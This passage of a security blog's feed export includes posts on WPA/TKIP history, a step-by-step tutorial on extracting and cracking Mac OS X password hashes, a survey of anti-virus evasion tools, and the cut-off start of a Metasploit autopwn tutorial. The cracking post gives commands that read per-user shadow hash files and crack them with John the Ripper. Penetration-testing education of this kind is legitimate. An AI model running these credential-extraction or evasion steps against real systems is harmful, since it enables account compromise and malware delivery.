href="http://en.wikipedia.org/wiki/Ieee"&gt;Institute of Electrical and Electronics Engineers&lt;/a&gt; (IEEE) decided to come up with a new, more secure protocol: WPA. Designed specifically to work within the design constraints of existing WEP hardware, WPA could be adopted with a firmware upgrade to existing WEP-enabled infrastructure. &lt;/p&gt;  &lt;p&gt;WPA was able to improve security over its WEP counterpart by implementing the &lt;a href="http://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol"&gt;Temporal Key Integrity Protocol&lt;/a&gt; (TKIP). Based on the RC4 cryptographic cipher (like WEP), The TKIP algorithm was designed to overcome the security deficiencies discovered in WEP by:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;defeating key reuse attacks,&lt;/li&gt;    &lt;li&gt;defeating forgery attempts, and&lt;/li&gt;    &lt;li&gt;defeating replay attacks.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Whilst these mechanisms would provide consumers with a secure alternative to the broken WEP protocol, the IEEE only intended WPA to have a 5-year life span (1999-2004). This life span would provide organisations with a transitional period for the arrival of WPA's new companion, WPA2.&lt;/p&gt;  &lt;p&gt;Requiring a hardware upgrade from old WEP/WPA technologies, WPA2 was based on the &lt;a href="http://en.wikipedia.org/wiki/802.11i"&gt;802.11i&lt;/a&gt; security specification (which was not yet ratified at the time WPA was introduced). Designed on a completely new encryption protocol, WPA2 implemented a new algorithm known as &lt;a href="http://en.wikipedia.org/wiki/CCMP"&gt;Counter Mode with Cipher Block Chaining Message Authentication Protocol&lt;/a&gt; (CCMP). CCMP offered several enhancements to the TKIP standard, including the use of the AES cryptographic cipher (as opposed to RC4 used in WEP/WPA). WPA2 was also given the ability to utilise the TKIP encryption protocol for backward compatibility.&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Note: Vendors will often (incorrectly) refer to WPA2 as WPA2-AES. This would be fine if WPA was referred to as WPA-RC4. For the sake of consistency, I will refer to WPA2 as WPA2-CCMP throughout the remainder of this series.&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;Apart from brute-force attempts on weak passwords, both WPA-TKIP and WPA2-CCMP have been considered ‘secure’ up until recently. In November 2008 Erik Tews and Martin Beck, researchers at two German University, published a &lt;a href="http://dl.aircrack-ng.org/breakingwepandwpa.pdf"&gt;paper&lt;/a&gt; that highlighted a weakness in the TKIP algorithm. Their paper demonstrated how plain-text could be recovered from an encrypted WPA network and injected back into that network. Tews and Beck’s attack method was later enhanced by two Japanese researches whose &lt;a href="http://jwis2009.nsysu.edu.tw/location/paper/A%20Practical%20Message%20Falsification%20Attack%20on%20WPA.pdf"&gt;research&lt;/a&gt; caused wide-spread &lt;a href="http://tech.yahoo.com/blogs/null/147906"&gt;panic among information technology (IT) journalists&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;In Part 2 of this series we will take a deeper look at how the TKIP protocol works, how TKIP can be attacked, and look at answering the two pertinent questions: “Is WPA secure?” and “Should I be using WPA?”.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-5534511726803167704?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mqj0VbqQ8gtzXYT19L9u-ky1dBs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mqj0VbqQ8gtzXYT19L9u-ky1dBs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mqj0VbqQ8gtzXYT19L9u-ky1dBs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mqj0VbqQ8gtzXYT19L9u-ky1dBs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/5534511726803167704/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2010/02/is-wpa-secure-part-1.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/5534511726803167704?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/5534511726803167704?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2010/02/is-wpa-secure-part-1.html" title="Is WPA Secure?  - Part 1" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total></entry><entry gd:etag="W/&quot;CEADR3k7fip7ImA9WhdVEEU.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-6430698429448134429</id><published>2009-12-28T08:04:00.001-08:00</published><updated>2011-09-15T03:32:56.706-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-15T03:32:56.706-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="macintosh" /><category scheme="http://www.blogger.com/atom/ns#" term="crack" /><category scheme="http://www.blogger.com/atom/ns#" term="pentest" /><category scheme="http://www.blogger.com/atom/ns#" term="password" /><category scheme="http://www.blogger.com/atom/ns#" term="cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="hash" /><category scheme="http://www.blogger.com/atom/ns#" term="john" /><category scheme="http://www.blogger.com/atom/ns#" term="leopard" /><category scheme="http://www.blogger.com/atom/ns#" term="osx" /><category scheme="http://www.blogger.com/atom/ns#" term="mac" /><category scheme="http://www.blogger.com/atom/ns#" term="penetrationtesting" /><title>Cracking Mac OS X Passwords</title><content type="html">&lt;p&gt;In this post I will demonstrate how to both extract and crack Mac OS X passwords. The OS X variants that this tutorial is aimed at are 10.4 (Tiger), 10.5 (Leopard) and 10.6 (Snow Leopard).&lt;/p&gt;  &lt;p&gt;Whilst Mac OS X is based on a Unix variant (BSD), there are several key differences between traditional Unix-based and Mac OS systems when it comes to password storage. Lets take a quick look at some of the differences.&lt;/p&gt;  &lt;p&gt;If you have ever poked around on an OS X system, you may have noticed the absence of the /etc/shadow file. Whilst traditional Unix and BSD variants store their password hashes in /etc/shadow and /etc/master.passwd respectively, Mac OS X does not. Since the release of OS X 10.3 in 2003, Macintosh products have stored their shadow files in the /var/db/shadow/hash/ directory.&lt;/p&gt;  &lt;p&gt;Another key difference is the way in which the two systems store their hashes. On a Unix-based system, every hash associated with the system is stored in the /etc/shadow file. This differs from OS X whereby each user has their own individual &lt;a href="http://en.wikipedia.org/wiki/Shadow_password"&gt;shadow file&lt;/a&gt; stored in the /var/db/shadow/hash/ directory. Each file is labeled by the user’s &lt;a href="http://en.wikipedia.org/wiki/Guid"&gt;Globally Unique Identifier&lt;/a&gt; (GUID). N.B. A GUID is analogous to a Security Identifier (SID) on Windows-based systems.&lt;/p&gt;  &lt;p&gt;Lastly, most Unix variants will use multiple rounds of the MD5 or DES cryptographic hash functions in order to encrypt system passwords. OS X systems encrypt passwords with the SHA1 hash function, coupled with a 4 byte salt.&lt;/p&gt;  &lt;p&gt;In sum, OS X password storage has the following characteristics:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Password hashes are stored in the /var/db/shadow/hash/&amp;lt;GUID&amp;gt; file &lt;/li&gt;    &lt;li&gt;Each user has their own shadow file &lt;/li&gt;    &lt;li&gt;Local OS X passwords are stored as SHA1 hashes &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;STEP 1. OBTAINING THE GUID&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;So, the first thing we want to do in this exercise is find out what our GUID is. We do this by invoking the &lt;a href="http://developer.apple.com/mac/library/DOCUMENTATION/Darwin/Reference/ManPages/man1/dscl.1.html"&gt;Directory Service command line (dscl) utility&lt;/a&gt;. Implemented in OS X 10.5 to replace the deprecated NetInfo &lt;a href="http://en.wikipedia.org/wiki/Directory_service"&gt;directory service&lt;/a&gt;, dscl uses the &lt;a href="http://en.wikipedia.org/wiki/Apple_Open_Directory"&gt;Open Directory Framework&lt;/a&gt; to store, organise and access directory information. For our purposes, the directory service holds information specific to each user on the system.&lt;/p&gt;  &lt;p&gt;The command we use to extract our GUID is as follows:&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Note: Replace &amp;lt;username&amp;gt; with the username of the user you wish to extract.&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;10.4 (Tiger)&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;# niutil -readprop . /users/&amp;lt;username&amp;gt; generateduid&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;10.5 (Leapord) and 10.6 (Snow Leapord)&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;# dscl localhost -read /Search/Users/&amp;lt;username&amp;gt; | grep GeneratedUID | cut -c15-&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This should return a value which appears in the following format: A66BCB30-2413-422A-A574-DE03108F8AF2&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;STEP 2. EXTRACTING THE HASHES&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Next, we want to extract the SHA1 hash from the shadow file. For this, we do the following:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;# cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 | cut -c169-216&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Note: Replace the above GUID with the one you have extracted from the previous step.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;You should have been returned with a SHA1 hash that looks similar to the following: 33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226&lt;/p&gt;  &lt;p&gt;At this point it should be noted that OS X has the ability to store Window NT and LANMAN hash representations. This will only occur if SMB/CIFS file sharing has been turned on. To extract these passwords from the shadow file, type the following:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;NT:&lt;/p&gt;    &lt;p&gt;cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c1-32&lt;/p&gt;    &lt;p&gt;LANMAN:&lt;/p&gt;    &lt;p&gt;cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c33-64&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;strong&gt;STEP 3. CRACKING THE PASSWORD&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;At this point we are ready to crack the OS X passwords. To simplify this step, I have written a simple python script that can be &lt;a href="http://pastebin.com/Gv6VxEZ7"&gt;downloaded here&lt;/a&gt;. To use this script, simply copy and paste the contents into a file (osx_crack.py) and type:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;#python osx_crack.py bob&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Note: 'bob' is the username whose password we want to crack.&lt;/p&gt;&lt;p&gt;This method is nice if you are only interesting in cracking passwords from a local system. If, however, you have captured a hash from a remote system, or would prefer a more familiar password cracking utility, then &lt;a href="http://www.openwall.com/john/"&gt;John The Ripper&lt;/a&gt; can also be used  for this step. In order for John to work, John will need to be patched with the 'Jumbo Patch' - allowing SHA1 passwords (referred to as XSHA in John) to be cracked. The patch can be downloaded from the following locations:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://www.openwall.com/john/contrib/john-1.7.3.1-all-6-win32-1.zip"&gt;Windows&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.openwall.com/john/contrib/john-1.7.3.1-all-6-macosx-universal-1.zip"&gt;Mac OS X&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.jedge.com/wordpress/?p=233"&gt;Unix – Tutorial on how to patch&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Once we have download/patched John, the extracted hash and username should be placed in a text file. For this example I have added the username ‘bob’ and bob’s hash (that I obtained in STEP 2) into a file called sha1.txt. The file has the following format:&lt;/p&gt;  &lt;p&gt;bob:33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226&lt;/p&gt;  &lt;p&gt;We can then use John the crack the password:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;# ./john sha1.txt&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;If John is successful in recognising the hash, the following message will be displayed:&lt;br /&gt;”Loaded 1 password hash (Mac OS X 10.4+ salted SHA1 [32/64])”&lt;/p&gt;&lt;p&gt;A successful cracking attempt will appear as follows:&lt;/p&gt;&lt;p&gt;password           (bob)&lt;br /&gt;guesses: 1  time: 0:00:00:00 100% (2)  c/s: 153000  trying: password&lt;br /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Additional Resources&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://www.skullsecurity.org/wiki/index.php/Mac_OS_X_Commands"&gt;Skull Security OS X Commands&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.macshadows.com/kb/index.php?title=Mac_OS_X_password_hashes"&gt;MacShadows’ OS X Password Hashes&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.dribin.org/dave/blog/archives/2006/04/28/os_x_passwords_2/"&gt;How Mac OS X Implements Password Authentication&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-6430698429448134429?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mt298bbJYKrHS37iCKzbpH05Oig/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mt298bbJYKrHS37iCKzbpH05Oig/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mt298bbJYKrHS37iCKzbpH05Oig/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mt298bbJYKrHS37iCKzbpH05Oig/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/6430698429448134429/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html#comment-form" title="23 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/6430698429448134429?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/6430698429448134429?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html" title="Cracking Mac OS X Passwords" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>23</thr:total></entry><entry gd:etag="W/&quot;CUINRn84eip7ImA9WxBTFkQ.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-7979300283642173810</id><published>2009-12-13T00:18:00.001-08:00</published><updated>2009-12-13T00:39:57.132-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-13T00:39:57.132-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="bypass" /><category scheme="http://www.blogger.com/atom/ns#" term="scambling" /><category scheme="http://www.blogger.com/atom/ns#" term="antivirus" /><category scheme="http://www.blogger.com/atom/ns#" term="av" /><category scheme="http://www.blogger.com/atom/ns#" term="msfencode" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="obfuscate" /><category scheme="http://www.blogger.com/atom/ns#" term="msfpayload" /><category scheme="http://www.blogger.com/atom/ns#" term="upx" /><category scheme="http://www.blogger.com/atom/ns#" term="code" /><category scheme="http://www.blogger.com/atom/ns#" term="avoidance" /><category scheme="http://www.blogger.com/atom/ns#" term="obfuscation" /><category scheme="http://www.blogger.com/atom/ns#" term="scramble" /><category scheme="http://www.blogger.com/atom/ns#" term="packing" /><title>Bypassing Anti-virus</title><content type="html">Whether compromising a system for legitimate or non-legitimate purposes, bypassing anti-virus software is often an integral step in any intrusion exercise. Fortunately for enterprise, anti-virus and anti-malware software is now commonplace in most organisiations.&lt;br /&gt;&lt;br /&gt;Whilst many of the tools that attackers wish to implement are constantly being blacklisted, this isn't without reservation. Attackers are still getting malware into systems and penetration testers are still able to compromise systems. So the question is, how is this possible? The answer: Bypassing anti-virus, of course.&lt;br /&gt;&lt;br /&gt;In this post I intent to present several tools that can be used in bypassing anti-virus/anti-malware software. I will provide a brief background on each tools operation and a summary of its use. But first, some background.&lt;br /&gt;&lt;br /&gt;Anti-virus software typically works by using either signature-based detection or heuristic-based detection (some products use both).&lt;br /&gt;&lt;br /&gt;Signature-based detection products rely on receiving updates from the anti-virus vendor. Anti-virus vendors such as McAfee, Symantec, Sophos etc. work 24 hours a day 7 days a week to continually update their databases with newly discovered malware. Every time a new piece of malware is identified, a 'fingerprint', or 'signature' of the malware is made. These uniquely identifiable signatures are periodically downloaded by anti-virus clients and are used to identify malicious files. Software that the vendor has identified as malicious is able to be caught by the anti-virus software because an infected file's 'signature' (or fingerprint) matches that of the signature downloaded from the vendor. Signature-based detection can be seen as analogous with making a comparison. ie We compare the infected file's signature with the signatures I have in my database. Do the signatures match? If they do, we know the program is malicious and it goes into quarantine. If not, the program is safe and we can let the program run.&lt;br /&gt;&lt;br /&gt;Heuristic-based detection is somewhat different. In the mathematics and computer science disciplines, the term heuristic can be simply described as a 'best guess'. Instead of making a signature comparison, heuristic-based detection looks at what the software is actually doing, as opposed to what it looks like. Based on behavior, heuristic-based products quarantine software that is acting suspiciously. So if a program is misbehaving by trying to elevate its privileges on a system, there is a possibility it may be flagged for quarantine. Heuristics-based detection is often prone to false positives, and as such, is not as common as it's signature-based counterpart.&lt;br /&gt;&lt;br /&gt;Now lets talk about their shortcomings of signature-based detection.&lt;br /&gt;&lt;br /&gt;Signature-based detection is overcome by something known as obfuscation. Code obfuscation is the process of changing the appearance of a program's source code. This can be done in many different ways, including: substituting for loops for while loops; eradicating loops with recursion; compression techniques; renaming variables; altering strings; and so on.&lt;br /&gt;&lt;br /&gt;So now if we think back to how signature-based detection works, we can quickly see that it is near impossible for an anti-virus vendor to blacklist all the possible combinations of how a program can appear. And here in lies the dilemma. Anti-virus vendors can indeed continue to blacklist known malware, but this falls short reasonable quickly when programs can be obfuscated in a myriad of different ways.&lt;br /&gt;&lt;br /&gt;Whilst there a many ways one can obfuscate a program's code, I am only going to discuss three here. These are three of the most common and simple tools for achieving anti-virus avoidance.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;u&gt;UPX Packer&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;Packing is a simple way to disguise executables. By adding a decompression header to the front of a the packed executable, the executable is able to be read and inflated in memory by the operating system.&lt;br /&gt;&lt;a href="http://upx.sourceforge.net/"&gt;&lt;br /&gt;The Ultimate Packer for eXecutables (UPX)&lt;/a&gt; is a free, open source, portable packer written by &lt;a href="http://www.oberhumer.com/"&gt;Markus F.X.J.             Oberhumer&lt;/a&gt;, &lt;a href="mailto:ml1050@users.sourceforge.net"&gt;László             Molnár&lt;/a&gt; and &lt;a href="http://www.bitwagon.com/"&gt;John F. Reiser&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;&lt;blockquote&gt;upx [-123456789dlthVL] [-qvfk] [-o file] file...&lt;br /&gt;&lt;br /&gt;Commands:&lt;br /&gt;-1     compress faster                   -9    compress better&lt;br /&gt;-d     decompress                        -l    list compressed file&lt;br /&gt;-t     test compressed file              -V    display version number&lt;br /&gt;-h     give more help                    -L    display software license&lt;br /&gt;Options:&lt;br /&gt;-q     be quiet                          -v    be verbose&lt;br /&gt;-oFILE write output to 'FILE'&lt;br /&gt;-f     force compression of suspicious files&lt;br /&gt;-k     keep backup files&lt;br /&gt;file..   executables to (de)compress&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-style: italic;"&gt;&lt;u&gt;PE-Scrambler&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.rnicrosoft.net/tools/PEScrambler_v0_1.zip"&gt;PE-Scrambler&lt;/a&gt; is a simple utility written by &lt;a href="http://www.blogger.com/www.rnicrosoft.net"&gt;Nick Harbour&lt;/a&gt; that scrambles and obfuscates binaries at the machine code instruction level. Altering the Opcodes at the lowest level, this utility is a highly effective obfuscator.&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;&lt;blockquote&gt;&gt; pescrambler.exe -i [inputfile.exe]&lt;input.exe&gt; -o [outputfile.exe]&lt;output.exe&gt;&lt;br /&gt;&lt;/output.exe&gt;&lt;/input.exe&gt;&lt;/blockquote&gt;&lt;br /&gt;Resources:&lt;br /&gt;&lt;a href="http://media.libsyn.com/media/pauldotcom/pauldotcom-sw-episode166.mp3"&gt;Interview with the author&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.rnicrosoft.net/presentations/AdvancedSoftwareArmoringAndPolymorphicKungFu.zip"&gt;Author's presentation on the tool&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;u&gt;msfencode/msfpayload&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;These two tools come standard with the Metasploit Framework. Whilst in previous versions of Metasploit it required a bit of a hack to obfuscate Metasploit payloads, the latest release (3.3) makes the process trivial. I would like to point you to Adrian Crenshaw's &lt;a href="http://www.irongeek.com/i.php?page=videos%2Fmsfpayload-msfencoder-metasploit-3-3"&gt;posting&lt;/a&gt; on &lt;a href="http://www.blogger.com/www.irongeek.com"&gt;IronGeek&lt;/a&gt; for this one. He has recently posted a very nice video tutorial on the process.&lt;br /&gt;&lt;br /&gt;So, what was the point of me telling you all this? Was it to tell you that anti-virus software is dead and you should just uninstall it completely from your network? Hardly.&lt;br /&gt;&lt;br /&gt;My intentions here were to inform people that anti-virus, like all security controls, has its weaknesses. Anti-virus should no longer be looked at as the be all and end all of end-point system protection. It should be, like every other control, one of multiple mechanisms within a multi-tiered security architecture.&lt;br /&gt;&lt;br /&gt;Here are some additional controls that can compliment anti-virus software:&lt;br /&gt;&lt;br /&gt;Host-based intrusion prevention/detection systems&lt;br /&gt;&lt;a href="http://technet.microsoft.com/en-us/library/cc786480%28WS.10%29.aspx"&gt;Host-based firewall logging (Win)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.netfilter.org/documentation/index.html"&gt;Host-based firewalling (Unix)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.chrisbrenton.org/2009/07/dealing-with-malware-on-windows-part-1-why-anti-virus-is-a-dieing-technology/"&gt;Application white-listing&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Additional Resources:&lt;br /&gt;&lt;a href="http://www.chrisbrenton.org/2009/08/why-anti-virus-is-dead-and-how-to-fix-it-live/"&gt;Chris Brenton's talk on why AV is dead&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-7979300283642173810?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AMyp4-jC__ScLQ7hY1XrAZZXCkA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AMyp4-jC__ScLQ7hY1XrAZZXCkA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AMyp4-jC__ScLQ7hY1XrAZZXCkA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AMyp4-jC__ScLQ7hY1XrAZZXCkA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/7979300283642173810/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/12/bypassing-anti-virus.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7979300283642173810?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7979300283642173810?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/12/bypassing-anti-virus.html" title="Bypassing Anti-virus" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total></entry><entry gd:etag="W/&quot;CUMNSHo6eSp7ImA9WhZVF0w.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-4031059323626195318</id><published>2009-11-16T14:22:00.000-08:00</published><updated>2011-05-29T16:58:19.411-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-29T16:58:19.411-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="respitory" /><category scheme="http://www.blogger.com/atom/ns#" term="archive" /><category scheme="http://www.blogger.com/atom/ns#" term="exploitation" /><category scheme="http://www.blogger.com/atom/ns#" term="code" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="alternative" /><category scheme="http://www.blogger.com/atom/ns#" term="milw0rm" /><category scheme="http://www.blogger.com/atom/ns#" term="milworm" /><title>Milw0rm Alternative is Here!</title><content type="html">Offensive-Security has announced its new exploit archive:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.exploit-db.com/"&gt;Offensive Security Exploit Database&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-4031059323626195318?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/15xy6hgNCJIKKUhWUOZLAbC5iMA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/15xy6hgNCJIKKUhWUOZLAbC5iMA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/15xy6hgNCJIKKUhWUOZLAbC5iMA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/15xy6hgNCJIKKUhWUOZLAbC5iMA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/4031059323626195318/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/11/milw0rm-alternative-is-here.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/4031059323626195318?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/4031059323626195318?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/11/milw0rm-alternative-is-here.html" title="Milw0rm Alternative is Here!" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total></entry><entry gd:etag="W/&quot;D0YBRH8yfCp7ImA9WxBTFkQ.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-7424675817767610978</id><published>2009-11-11T16:04:00.000-08:00</published><updated>2009-12-13T01:05:55.194-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-13T01:05:55.194-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="pentest" /><category scheme="http://www.blogger.com/atom/ns#" term="exploitation" /><category scheme="http://www.blogger.com/atom/ns#" term="nessus" /><category scheme="http://www.blogger.com/atom/ns#" term="framework" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="autopwn" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Metasploit Autopwn: Hacking made simple</title><content type="html">Nowadays, exploiting a system requires little, if no knowledge of computer systems or networking. Merely, someone with 10 minutes on their hands that is interested enough to Google how it’s done.&lt;br /&gt;&lt;br /&gt;One with very little skills has the ability to fire up Metasploit, load an exploit, and fire it at the target system – giving attacker’s the ability to compromise a system within minutes.&lt;br /&gt;&lt;br /&gt;I thought I would write a post on Metasploit’s autopwn module to reiterate just how simple it is to attack/compromise a system in today’s environment. My intentions here are to give you a tutorial on the Metasploit autopwn module and provide a timely reminder on just how important it is to have a good patch policy in place. I would also recommend regular audits on system services.&lt;br /&gt;&lt;br /&gt;The tools I will be using in this tutorial are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.nessus.org/download/"&gt;Nessus&lt;/a&gt; - A free vulnerability scanner for Mac OS, Windows and Linux&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; – framework 3 - A free exploit framework for launching exploits against targets&lt;/li&gt;&lt;li&gt;A virtual machine running an unpatched version of Windows XP SP2 as my target system&lt;/li&gt;&lt;/ul&gt;1. First we’ll fire up Nessus and run a scan on our network.&lt;br /&gt;&lt;br 